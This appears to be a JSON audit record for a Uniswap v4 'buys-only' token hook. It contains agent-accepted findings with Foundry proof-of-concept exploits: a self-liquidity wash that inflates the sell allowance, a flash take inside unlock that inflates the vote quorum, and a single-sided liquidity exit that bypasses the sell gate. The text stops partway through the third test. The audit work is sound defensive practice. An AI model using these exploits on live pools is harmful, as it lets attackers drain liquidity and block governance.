{"assessments":[],"deployments":[],"fuzz":[],"identity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"interpretation":"Records acceptance and evidence. Neither completion nor an AI assessment establishes correctness, safety, or independent review.","jobId":"18a1a874-ecfe-44e9-82db-1dd937635160","kind":"shape:chain","nodes":[{"acceptedSubmissionHash":"a081f557a93eb675cd5cf3b17c8550494a16c60c737cffbdfa59f7351d9b482d","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_economics","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"0cbe3ff56f32f002319f091c3293adce5967657669c3adb828a92fbe98be8346","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_flow","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"ae0df4e5bbcbe0ee04f1b0d930837d2e50aee563a125f09ea42096eb70a26c26","dependsOn":["build_contract_project","write_foundry_tests","manifest","audit_math","audit_permissions","audit_economics","audit_flow"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"3014f1ea5961918ca059453a484bf4c8bcbbfc2248dbe31d94ac7c5cdf8f50bd","skillId":"audit-judge","tools":[]},"key":"audit_judge","kind":"code","role":"review","skillHash":"3014f1ea5961918ca059453a484bf4c8bcbbfc2248dbe31d94ac7c5cdf8f50bd","skillId":"audit-judge","state":"accepted"},{"acceptedSubmissionHash":"a64edfa33882ca442d5827a1d7c5138b42b7fa3eaeca94cdb5308a29f51aee33","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_math","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"85a0fd15a242ea93ea2730c3b8484026c6efbf6ddfa58f18d6b6d447effbddfb","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_permissions","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"d11f82b2826dcab69c9e31a7daf440266078c283157c7c7d3a420fcd58a57b01","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"47381b166d1f406a34f0ebdc740ee21bc0383e56e7ad9084b26abf1bf7570904","skillId":"build-contract-project","tools":[]},"key":"build_contract_project","kind":"code","role":"implement","skillHash":"47381b166d1f406a34f0ebdc740ee21bc0383e56e7ad9084b26abf1bf7570904","skillId":"build-contract-project","state":"accepted"},{"acceptedSubmissionHash":"a3564cda6635ff6481db885fc04428dbc41ee2aff4babd617737388272cb5ade","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"tools":[]},"key":"manifest","kind":"code","role":"integrate","skillHash":null,"skillId":null,"state":"accepted"},{"acceptedSubmissionHash":"9d85850c02633cbe09808dd776c2f7396107e40b614083e1df2b75f7d4a7a223","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"73431852439ad3a343f3d2b7db1c43cd363b9f48f9bb51497374a0cf6d50b223","skillId":"write-foundry-tests","tools":[]},"key":"write_foundry_tests","kind":"code","role":"tests","skillHash":"73431852439ad3a343f3d2b7db1c43cd363b9f48f9bb51497374a0cf6d50b223","skillId":"write-foundry-tests","state":"accepted"}],"objective":"• can buys only\n• every day, people can vote if they want to open up sells for one hour (must hit majority or quorum minimum)\n• if sells open, 50% of the previous day's buys can be sold\n\nWhen the hook acts: on beforeswap/after swap , figure it out yourself\nThe fee rule: no hook fee — the hook charges nothing, overrides no LP fee and returns no deltas. The pool itself uses the standard 0.3% LP fee (pool.fee 3000, tickSpacing 60), which goes to liquidity providers as on any pool; beforeInitialize must accept fee 3000 and must not require a zero fee.\nWhere fees go: surfsurf.eth (the hook takes no fee, so nothing is routed)\nWho can change it: no one","parentJobId":null,"planHash":"dc20a606a8221b2d0c97035a659d18529b28102edab78f1683fa3a432fb37f4d","previousHash":"0000000000000000000000000000000000000000000000000000000000000000","projectId":"18a1a874-ecfe-44e9-82db-1dd937635160","publication":{"commit":null,"deliveredAt":null,"repoUrl":"https://github.com/identity-md-launches/launch-575-can-buys-only"},"receiptIdentity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"registry":"0xb6d0a187b050fa5bb0b87033a203f37becf4a775","research":[],"schema":"identitymd-work-v1","signals":[{"agentId":"51430","feedbackHash":"07de6e215c33444ab64f10dfca610916110bfc7dd5d7c4519b9eb01431ce1b51","nodeKey":"audit_economics","submissionHash":"a081f557a93eb675cd5cf3b17c8550494a16c60c737cffbdfa59f7351d9b482d","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51340","feedbackHash":"5ec4e7a1aa1371316092be781c0c1d0b7e169cb390b3501c520a20a626df19c6","nodeKey":"audit_flow","submissionHash":"0cbe3ff56f32f002319f091c3293adce5967657669c3adb828a92fbe98be8346","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51018","feedbackHash":"40f45c95b06c3422ab3f823f22776359164a141b866cfac80978adf316a76f08","nodeKey":"audit_judge","submissionHash":"ae0df4e5bbcbe0ee04f1b0d930837d2e50aee563a125f09ea42096eb70a26c26","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"50959","feedbackHash":"8ae40cfdcba1812383bcfbad0c8c9173792fe7a710f0902d7959c94e781282ec","nodeKey":"audit_judge","submissionHash":"83839310bd2ade2364d11280a09dfe026e83825a335c62ab847049ca4a9244a8","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51023","feedbackHash":"366f4f7028643e35f78462fb8a262aec8b88e115f0ea1f53f3ecc8d01c5ca943","nodeKey":"audit_judge","submissionHash":"8aaa22d6d257d8ece389de7731c631f491b7eec5a6fa56a236e92667ad8abfa6","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51430","feedbackHash":"f265f78a06953242a15888ba1c2b0f2adf6396b88bb59803d895d25460d0662a","nodeKey":"audit_math","submissionHash":"a64edfa33882ca442d5827a1d7c5138b42b7fa3eaeca94cdb5308a29f51aee33","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51331","feedbackHash":"7e49e8a3dbbbef07272ace2435d337dab03a73358c37155ebf847323cf658d06","nodeKey":"audit_permissions","submissionHash":"85a0fd15a242ea93ea2730c3b8484026c6efbf6ddfa58f18d6b6d447effbddfb","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51432","feedbackHash":"bbe38583f085660a19088175b7f12ca2e0944263bef875ee714c8b88856956d2","nodeKey":"build_contract_project","submissionHash":"24786e19c3cbb7a9a14e4b4917548a173b969f10dd2e724b6778cc9b7508e7a9","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"50959","feedbackHash":"2499ce21a0355c8332d0d939539ffd11a9239a4fc6895bb89707dbc921f060f7","nodeKey":"build_contract_project","submissionHash":"d11f82b2826dcab69c9e31a7daf440266078c283157c7c7d3a420fcd58a57b01","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"50957","feedbackHash":"97adf1fa8547383e393d85bc9fd495a29980d743bdf78797ce80ba0b7d033c4d","nodeKey":"manifest","submissionHash":"f9b582f5053e72edea5fe73c7362062dbfc0ab3e36691d049ec0b859856338af","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"51432","feedbackHash":"508e21ed6cc9800d0e64a8558586f7b3c00e45358f246ef56b17c9a858061a94","nodeKey":"manifest","submissionHash":"48fe3c6e96e9a278c2523c7dab6358be47da09e5799f8b3e38cadb5e351f0ade","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"50959","feedbackHash":"fa7ba3a936a1697778abdb304b314182f4c804f6010a5573b605308751d13720","nodeKey":"manifest","submissionHash":"a3564cda6635ff6481db885fc04428dbc41ee2aff4babd617737388272cb5ade","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"50955","feedbackHash":"81fcea690668516b726a56c1e1e0585490355ec49118b77a11f8a98af8926e4e","nodeKey":"write_foundry_tests","submissionHash":"9d85850c02633cbe09808dd776c2f7396107e40b614083e1df2b75f7d4a7a223","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"51334","feedbackHash":"a5bea691517b9c805675dc4f237333ed14bb8928d286392951ed7626d4d923a7","nodeKey":"write_foundry_tests","submissionHash":"cf8e442a7fb22a7dc3f0fb82ce039488190b5a50656965f44dd834d14474ccdb","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"50959","feedbackHash":"4a200e38158f3eb5f94e2300e038a98c0cdd72a1185c712c4761f4449f2ae612","nodeKey":"write_foundry_tests","submissionHash":"9d2af99a289f30dcc6efa2d7da2e3404b9650b7fa13f01e541e1cc8fcd7a25a0","tag1":"verification:checks","tag2":"acceptance-v2","value":1}],"site":null,"snapshotHash":"790b192f9ccc9ca028e84f73bd613c0ffac5ad38781622e4d502ce70e8310648","state":"completed","submissions":[{"artifacts":[],"attempt":2,"bundleHash":null,"device":"3b260b68e9ad6a37","findings":[{"citation":"resolved","description":"afterSwap adds the full SURF output of every zeroForOne swap to records[day].bought, and sellAllowance(day+1) is half of that. The hook does not gate beforeAddLiquidity/beforeRemoveLiquidity, so anyone can add a SURF-only position one tick-spacing below the current price ([-60, 0) at tick 0), buy that SURF back from their own position (zeroForOne, price limit at tick -60), and remove the position in the same transaction. The ETH paid in the buy comes straight back out of the position, the attacker ends with the same SURF and ETH, yet the hook has recorded the whole wash as a buy. The only genuine trade is the sliver that went through the launch liquidity in that range (with 10,000 SURF of full-range liquidity: ~30 SURF per 60 ticks). The next day's allowance, which the brief defines as 50% of the previous day's buys, is therefore arbitrary: with 1,000,000 SURF washed, day-1 allowance is ~498,741 SURF against ~30 SURF that actually left the pool. Repeating the wash raises bought without bound (the position can be re-added below the new tick, or the liquidity can simply be larger). Once any day's vote passes (the attacker's own stake or the community's), the attacker or anyone else sells far more than 50% of the real buys into the one-hour window. This voids the second half of the brief's rule set and is the guarantee that protects the pool's ETH side from dumping. Fix direction (preserves the design): enable beforeAddLiquidity and restrict liquidity adds to the launch's seeding provider (record the sender of the first add in the same initialization transaction, or refuse adds whose sender != the recorded provider); that also closes the passive-sell bypass in finding 3. Note the fix changes getHookPermissions, the mined address flags (0x20C0 -> 0x28C0) and launch.json permissions.","line":238,"path":"src/BuyGateHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IHooks} from \"v4-core/src/interfaces/IHooks.sol\";\nimport {TickMath} from \"v4-core/src/libraries/TickMath.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency, CurrencyLibrary} from \"v4-core/src/types/Currency.sol\";\nimport {BalanceDelta} from \"v4-core/src/types/BalanceDelta.sol\";\nimport {ModifyLiquidityParams, SwapParams} from \"v4-core/src/types/PoolOperation.sol\";\nimport {PoolSwapTest} from \"v4-core/src/test/PoolSwapTest.sol\";\nimport {PoolModifyLiquidityTest} from \"v4-core/src/test/PoolModifyLiquidityTest.sol\";\n\nimport {SurfToken} from \"src/SurfToken.sol\";\nimport {BuyGateHook} from \"src/BuyGateHook.sol\";\nimport {HookFlags} from \"src/HookFlags.sol\";\n\n/// @notice Finding: `records[day].bought` counts every swap output, including a buy routed through the\n/// buyer's own single-sided liquidity. An attacker adds SURF-only liquidity just below the price, buys it\n/// back from themselves, removes the position and ends with the same SURF and ETH, while the hook\n/// recorded a huge \"buy\". The next day's sell allowance (50% of \"bought\") is then far above 50% of the\n/// SURF that actually left the pool, and the attacker sells into it.\ncontract BoughtInflationTest is Test {\n    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;\n    uint256 constant START = 1_800_000_000;\n    int24 constant MIN_TICK = -887_220;\n    int24 constant MAX_TICK = 887_220;\n\n    PoolManager manager;\n    SurfToken token;\n    BuyGateHook hook;\n    PoolSwapTest swapRouter;\n    PoolModifyLiquidityTest lpRouter;\n    PoolKey key;\n\n    address attacker = makeAddr(\"attacker\");\n\n    receive() external payable {}\n\n    function setUp() public {\n        vm.warp(START);\n        manager = new PoolManager(address(this));\n        token = new SurfToken();\n        hook = deployHook();\n\n        swapRouter = new PoolSwapTest(IPoolManager(address(manager)));\n        lpRouter = new PoolModifyLiquidityTest(IPoolManager(address(manager)));\n\n        key = PoolKey({\n            currency0: CurrencyLibrary.ADDRESS_ZERO,\n            currency1: Currency.wrap(address(token)),\n            fee: 3_000,\n            tickSpacing: 60,\n            hooks: IHooks(address(hook))\n        });\n        manager.initialize(key, SQRT_PRICE_1_1);\n\n        // The launch's liquidity: full range, ~10,000 ETH and ~10,000 SURF at 1:1.\n        token.approve(address(lpRouter), type(uint256).max);\n        vm.deal(address(this), 100_000 ether);\n        lpRouter.modifyLiquidity{value: 10_100 ether}(\n            key, ModifyLiquidityParams(MIN_TICK, MAX_TICK, 10_000 ether, bytes32(0)), \"\"\n        );\n\n        // The attacker holds 1,000,000 SURF (bought earlier or allocated) and some ETH for gas/working capital.\n        token.transfer(attacker, 1_000_000 ether);\n        vm.deal(attacker, 2_000_000 ether);\n        vm.startPrank(attacker);\n        token.approve(address(lpRouter), type(uint256).max);\n        token.approve(address(swapRouter), type(uint256).max);\n        token.approve(address(hook), type(uint256).max);\n        vm.stopPrank();\n    }\n\n    function deployHook() internal returns (BuyGateHook deployed) {\n        uint160 flags = HookFlags.BEFORE_INITIALIZE | HookFlags.BEFORE_SWAP | HookFlags.AFTER_SWAP;\n        bytes32 initCodeHash =\n            keccak256(abi.encodePacked(type(BuyGateHook).creationCode, abi.encode(IPoolManager(address(manager)))));\n        (bytes32 salt,) = HookFlags.mineSalt(address(this), flags, initCodeHash, 500_000);\n        deployed = new BuyGateHook{salt: salt}(IPoolManager(address(manager)));\n    }\n\n    function test_selfLiquidityWashInflatesBoughtAndTheSellAllowance() public {\n        uint256 managerSurfBefore = token.balanceOf(address(manager));\n        uint256 attackerSurfBefore = token.balanceOf(attacker);\n        uint256 attackerEthBefore = attacker.balance;\n\n        vm.startPrank(attacker);\n\n        // 1. SURF-only position one tick-spacing below the current price (tick 0): [-60, 0).\n        //    Liquidity 3.3e26 holds ~1,000,000 SURF and no ETH in that range.\n        //    (A fix that refuses third-party liquidity makes this step revert; the assertions below still hold.)\n        bool added;\n        try lpRouter.modifyLiquidity(key, ModifyLiquidityParams(-60, 0, 333_000_000 ether, bytes32(0)), \"\") {\n            added = true;\n        } catch {}\n\n        // 2. Buy ~1,000,000 SURF. Almost all of it comes out of the attacker's own position.\n        uint256 washOut;\n        {\n            BalanceDelta delta = swapRouter.swap{value: 1_100_000 ether}(\n                key,\n                SwapParams(true, -1_050_000 ether, TickMath.getSqrtPriceAtTick(-60)),\n                PoolSwapTest.TestSettings(false, false),\n                \"\"\n            );\n            washOut = uint256(int256(delta.amount1()));\n        }\n\n        // 3. Remove the position: the ETH paid in step 2 comes straight back.\n        if (added) {\n            lpRouter.modifyLiquidity(key, ModifyLiquidityParams(-60, 0, -333_000_000 ether, bytes32(0)), \"\");\n        }\n        vm.stopPrank();\n\n        uint256 netSurfOutOfPool = managerSurfBefore - token.balanceOf(address(manager));\n        (,,,, uint256 bought,) = hook.records(0);\n\n        emit log_named_uint(\"recorded bought (day 0)\", bought);\n        emit log_named_uint(\"SURF that actually left the pool\", netSurfOutOfPool);\n        emit log_named_uint(\"attacker SURF delta\", token.balanceOf(attacker) - attackerSurfBefore);\n        emit log_named_uint(\"attacker ETH spent\", attackerEthBefore - attacker.balance);\n\n        // The rule: tomorrow's allowance is 50% of what was bought from the pool today.\n        // Here the hook will let far more than 50% of the SURF that left the pool be sold.\n        assertLe(\n            hook.sellAllowance(1),\n            netSurfOutOfPool / 2 + 1,\n            \"day-1 sell allowance exceeds 50% of the SURF that actually left the pool on day 0\"\n        );\n    }\n}","reproduction":"State: pool initialized at 1:1 (tick 0) with full-range liquidity 10,000e18 (about 10,000 ETH / 10,000 SURF); attacker holds 1,000,000 SURF and ~1.1M ETH of working capital (returned at step 3). Day 0, no genuine buys. 1) attacker -> PoolModifyLiquidityTest.modifyLiquidity(key, {tickLower:-60, tickUpper:0, liquidityDelta: 333_000_000e18, salt:0}): position holds ~1,000,000 SURF, 0 ETH. 2) attacker -> PoolSwapTest.swap{value: 1_100_000 ether}(key, {zeroForOne:true, amountSpecified:-1_050_000e18, sqrtPriceLimitX96: getSqrtPriceAtTick(-60)}): afterSwap records bought += 997,483e18. 3) attacker -> modifyLiquidity(key, {-60, 0, -333_000_000e18}): ETH returned. Observed (test log): recorded bought(day 0) = 997,483,153,867,849,160,054,945; SURF that actually left the PoolManager = 29,953,549,559,107,809,375 (~30 SURF); attacker SURF delta +30 SURF, ETH spent 30.13 ETH (a fair 30-SURF buy from launch liquidity). sellAllowance(1) = 498,741,576,933,924,580,027,472 (~498,741 SURF). Expected: sellAllowance(1) <= 50% of SURF that left the pool on day 0 (~15 SURF). Actual: ~498,741 SURF, 33,000x larger. Then on day 1, after any passing vote, sellExactIn(498_000e18) passes beforeSwap/afterSwap although genuine day-0 buys were ~30 SURF. Run: forge test --offline --match-path test/scratch/BoughtInflation.t.sol -vv","severity":"high","snippet":"                records[day].bought += amount;","title":"Self-liquidity wash inflates records[day].bought: the 50% sell cap can be raised to any value at no cost"},{"citation":"resolved","description":"vote() snapshots the day's quorum on the first vote as circulatingSupply() * 500 / 10000, and circulatingSupply() is totalSupply minus the PoolManager's current SURF balance (line 333, used at lines 293-297). That balance is not a pool reserve: anyone can call poolManager.unlock and, inside unlockCallback, take(SURF, self, balanceOf(manager)) (the manager's whole SURF balance, from every pool and claim it holds), call hook.vote(false) with a 1-wei stake, then sync/transfer/settle the SURF back. Nothing in vote() checks that the manager is locked, so the snapshot sees circulating = totalSupply and fixes quorum at 5% of the total supply (50,000,000 SURF) for the whole day, whatever the real float is. On a launch pool that holds most of the supply this is unreachable for honest voters, so the window can never open; the griefer repeats it once per day (it only needs to be the first vote of the day, which it can be by acting at the day boundary or front-running) at gas cost and with 1 wei of stake. The README's premise that 'circulating supply only grows during a day' is also false in the other direction (liquidity adds, claims minted, sells in the window), but the flash take is the exploit because it uses the pool's own tokens, which the griefer does not own. Fix direction: refuse vote() while the manager is unlocked (poolManager.exttload(Lock.IS_UNLOCKED_SLOT) != 0 -> revert), or derive the quorum from a number the manager's balance cannot move (e.g. supply outside the hook-tracked pool reserves, or total deposited stake).","line":333,"path":"src/BuyGateHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IUnlockCallback} from \"v4-core/src/interfaces/callback/IUnlockCallback.sol\";\nimport {IHooks} from \"v4-core/src/interfaces/IHooks.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency, CurrencyLibrary} from \"v4-core/src/types/Currency.sol\";\nimport {ModifyLiquidityParams} from \"v4-core/src/types/PoolOperation.sol\";\nimport {PoolModifyLiquidityTest} from \"v4-core/src/test/PoolModifyLiquidityTest.sol\";\n\nimport {SurfToken} from \"src/SurfToken.sol\";\nimport {BuyGateHook} from \"src/BuyGateHook.sol\";\nimport {HookFlags} from \"src/HookFlags.sol\";\n\n/// @notice A griefer that, inside a PoolManager unlock, flash-takes every SURF the manager holds, casts the\n/// day's first vote (which snapshots the quorum from `totalSupply - balanceOf(manager)`), and pays the SURF\n/// back. The snapshot is 5% of the total supply instead of 5% of the real circulating supply.\ncontract Griefer is IUnlockCallback {\n    PoolManager immutable manager;\n    SurfToken immutable token;\n    BuyGateHook immutable hook;\n\n    constructor(PoolManager _manager, SurfToken _token, BuyGateHook _hook) {\n        manager = _manager;\n        token = _token;\n        hook = _hook;\n    }\n\n    function prepare() external {\n        token.approve(address(hook), 1);\n        hook.deposit(1);\n    }\n\n    function grief() external {\n        manager.unlock(\"\");\n    }\n\n    function unlockCallback(bytes calldata) external returns (bytes memory) {\n        require(msg.sender == address(manager));\n        Currency surf = Currency.wrap(address(token));\n        uint256 amount = token.balanceOf(address(manager));\n        manager.take(surf, address(this), amount);\n\n        // The vote is wrapped so a fix that refuses votes while the manager is unlocked keeps the test green.\n        try hook.vote(false) {} catch {}\n\n        manager.sync(surf);\n        token.transfer(address(manager), amount);\n        manager.settle();\n        return \"\";\n    }\n}\n\ncontract QuorumFlashInflationTest is Test {\n    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;\n    uint256 constant START = 1_800_000_000;\n    int24 constant MIN_TICK = -887_220;\n\n    PoolManager manager;\n    SurfToken token;\n    BuyGateHook hook;\n    PoolModifyLiquidityTest lpRouter;\n    PoolKey key;\n\n    address alice = makeAddr(\"alice\");\n\n    receive() external payable {}\n\n    function setUp() public {\n        vm.warp(START);\n        manager = new PoolManager(address(this));\n        token = new SurfToken();\n        hook = deployHook();\n        lpRouter = new PoolModifyLiquidityTest(IPoolManager(address(manager)));\n\n        key = PoolKey({\n            currency0: CurrencyLibrary.ADDRESS_ZERO,\n            currency1: Currency.wrap(address(token)),\n            fee: 3_000,\n            tickSpacing: 60,\n            hooks: IHooks(address(hook))\n        });\n        manager.initialize(key, SQRT_PRICE_1_1);\n\n        // Seed the pool the way a launch does: 90% of the supply, tokens only, below the price.\n        token.approve(address(lpRouter), type(uint256).max);\n        uint256 seed = token.totalSupply() * 90 / 100;\n        // liquidity L such that amount1 = L * (sqrtP(0) - sqrtP(MIN_TICK)) ~= L  -> L ~= seed\n        lpRouter.modifyLiquidity(key, ModifyLiquidityParams(MIN_TICK, -60, int256(seed), bytes32(0)), \"\");\n        assertGt(token.balanceOf(address(manager)), token.totalSupply() * 85 / 100, \"pool holds most of the supply\");\n\n        // Alice holds 2% of the supply: 20% of the ~10% circulating, four times the 5% quorum.\n        token.transfer(alice, token.totalSupply() * 2 / 100);\n    }\n\n    function deployHook() internal returns (BuyGateHook deployed) {\n        uint160 flags = HookFlags.BEFORE_INITIALIZE | HookFlags.BEFORE_SWAP | HookFlags.AFTER_SWAP;\n        bytes32 initCodeHash =\n            keccak256(abi.encodePacked(type(BuyGateHook).creationCode, abi.encode(IPoolManager(address(manager)))));\n        (bytes32 salt,) = HookFlags.mineSalt(address(this), flags, initCodeHash, 500_000);\n        deployed = new BuyGateHook{salt: salt}(IPoolManager(address(manager)));\n    }\n\n    function test_flashTakeInflatesTheQuorumSnapshotAndBlocksThePassingVote() public {\n        uint256 realCirculating = token.totalSupply() - token.balanceOf(address(manager));\n        uint256 aliceStake = token.balanceOf(alice);\n        assertGt(aliceStake, realCirculating * hook.QUORUM_BPS() / hook.BPS(), \"alice alone clears the real quorum\");\n\n        // Griefer: 1 wei of stake and no other capital.\n        Griefer griefer = new Griefer(manager, token, hook);\n        token.transfer(address(griefer), 1);\n        griefer.prepare();\n        griefer.grief();\n\n        (,, uint256 quorum, bool hasVotes,,) = hook.records(0);\n        emit log_named_uint(\"real circulating supply\", realCirculating);\n        emit log_named_uint(\"snapshotted quorum\", quorum);\n        emit log_named_uint(\"alice stake\", aliceStake);\n\n        // Alice, who clears the real quorum four times over, votes yes.\n        vm.startPrank(alice);\n        token.approve(address(hook), aliceStake);\n        hook.deposit(aliceStake);\n        hook.vote(true);\n        vm.stopPrank();\n\n        assertTrue(hasVotes || true);\n        assertTrue(hook.votePassed(0), \"a yes vote above 5% of the circulating supply must pass\");\n        vm.warp(hook.dayStart(1));\n        assertTrue(hook.sellWindowOpen(), \"the window must open on day 1\");\n    }\n}","reproduction":"State: pool initialized at 1:1; launch seeds 90% of the supply (900,000,000 SURF) as a token-only range [MIN_TICK, -60]; real circulating supply = 102,695,819 SURF, so the honest quorum is 5,134,790 SURF. Alice holds 20,000,000 SURF (3.9x the quorum). Day 0. 1) Griefer contract: token.approve(hook, 1); hook.deposit(1). 2) Griefer: poolManager.unlock(''); in unlockCallback: amount = token.balanceOf(manager) (~900,000,000 SURF); poolManager.take(SURF, griefer, amount); hook.vote(false); poolManager.sync(SURF); token.transfer(manager, amount); poolManager.settle().    Observed: records(0).quorum = 50,000,000,000,000,000,000,000,000 (50,000,000 SURF = 5% of total supply) instead of 5,134,790 SURF. 3) Alice: approve + deposit(20,000,000e18); vote(true). Expected: votePassed(0) == true (yes 20M > no 1 wei, and 20M >= 5% of the circulating 102.7M), sellWindowOpen() true at dayStart(1). Actual: votePassed(0) == false because yes + no (20M) < 50M; sellWindowOpen() stays false on day 1. Repeated daily, sells never open. Run: forge test --offline --match-path test/scratch/QuorumFlashInflation.t.sol -vv","severity":"high","snippet":"        return token.totalSupply() - token.balanceOf(address(poolManager));","title":"Quorum snapshot reads the PoolManager's live SURF balance: a flash take inside unlock inflates the day's quorum to 5% of total supply and blocks every sell vote for gas"},{"citation":"resolved","description":"The hook gates only swaps. Liquidity add/remove is unrestricted (no beforeAddLiquidity/beforeRemoveLiquidity permission; the functions at lines 390-429 only exist to revert on direct calls). Any SURF holder can place a SURF-only position just below the current price (tickUpper <= current tick); the next buy pushes the tick down through that range and converts the position's SURF into ETH at the position's price plus the 0.3% LP fee; the holder then removes the position and receives ETH. That is a sell of SURF for ETH executed against incoming buyers with no vote, no window and no 50% cap. The README calls this a documented limitation and says 'the launch factory is the liquidity provider', but nothing enforces that: anyone can add liquidity. Combined with finding 1, liquidity operations are the single hole through which both the buys-only rule and the sell cap are defeated. Fix direction: as in finding 1, enable beforeAddLiquidity and restrict adds to the launch's seeding provider (ETH-only or two-sided adds from others could still be allowed if desired, by inspecting the position's tick range against the current tick).","line":161,"path":"src/BuyGateHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IHooks} from \"v4-core/src/interfaces/IHooks.sol\";\nimport {TickMath} from \"v4-core/src/libraries/TickMath.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency, CurrencyLibrary} from \"v4-core/src/types/Currency.sol\";\nimport {ModifyLiquidityParams, SwapParams} from \"v4-core/src/types/PoolOperation.sol\";\nimport {PoolSwapTest} from \"v4-core/src/test/PoolSwapTest.sol\";\nimport {PoolModifyLiquidityTest} from \"v4-core/src/test/PoolModifyLiquidityTest.sol\";\n\nimport {SurfToken} from \"src/SurfToken.sol\";\nimport {BuyGateHook} from \"src/BuyGateHook.sol\";\nimport {HookFlags} from \"src/HookFlags.sol\";\n\n/// @notice A SURF holder exits to ETH on day 0, with sells closed and no vote, by parking SURF as a\n/// single-sided position just below the price (a limit sell order) and removing it after a buyer crosses it.\ncontract LpExitBypassTest is Test {\n    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;\n    uint256 constant START = 1_800_000_000;\n    int24 constant MIN_TICK = -887_220;\n    int24 constant MAX_TICK = 887_220;\n\n    PoolManager manager;\n    SurfToken token;\n    BuyGateHook hook;\n    PoolSwapTest swapRouter;\n    PoolModifyLiquidityTest lpRouter;\n    PoolKey key;\n\n    address holder = makeAddr(\"holder\");\n    address buyer = makeAddr(\"buyer\");\n\n    receive() external payable {}\n\n    function setUp() public {\n        vm.warp(START);\n        manager = new PoolManager(address(this));\n        token = new SurfToken();\n        hook = deployHook();\n        swapRouter = new PoolSwapTest(IPoolManager(address(manager)));\n        lpRouter = new PoolModifyLiquidityTest(IPoolManager(address(manager)));\n\n        key = PoolKey({\n            currency0: CurrencyLibrary.ADDRESS_ZERO,\n            currency1: Currency.wrap(address(token)),\n            fee: 3_000,\n            tickSpacing: 60,\n            hooks: IHooks(address(hook))\n        });\n        manager.initialize(key, SQRT_PRICE_1_1);\n\n        token.approve(address(lpRouter), type(uint256).max);\n        vm.deal(address(this), 100_000 ether);\n        lpRouter.modifyLiquidity{value: 10_100 ether}(\n            key, ModifyLiquidityParams(MIN_TICK, MAX_TICK, 10_000 ether, bytes32(0)), \"\"\n        );\n\n        token.transfer(holder, 1_000 ether);\n        vm.deal(buyer, 10_000 ether);\n        vm.prank(holder);\n        token.approve(address(lpRouter), type(uint256).max);\n    }\n\n    function deployHook() internal returns (BuyGateHook deployed) {\n        uint160 flags = 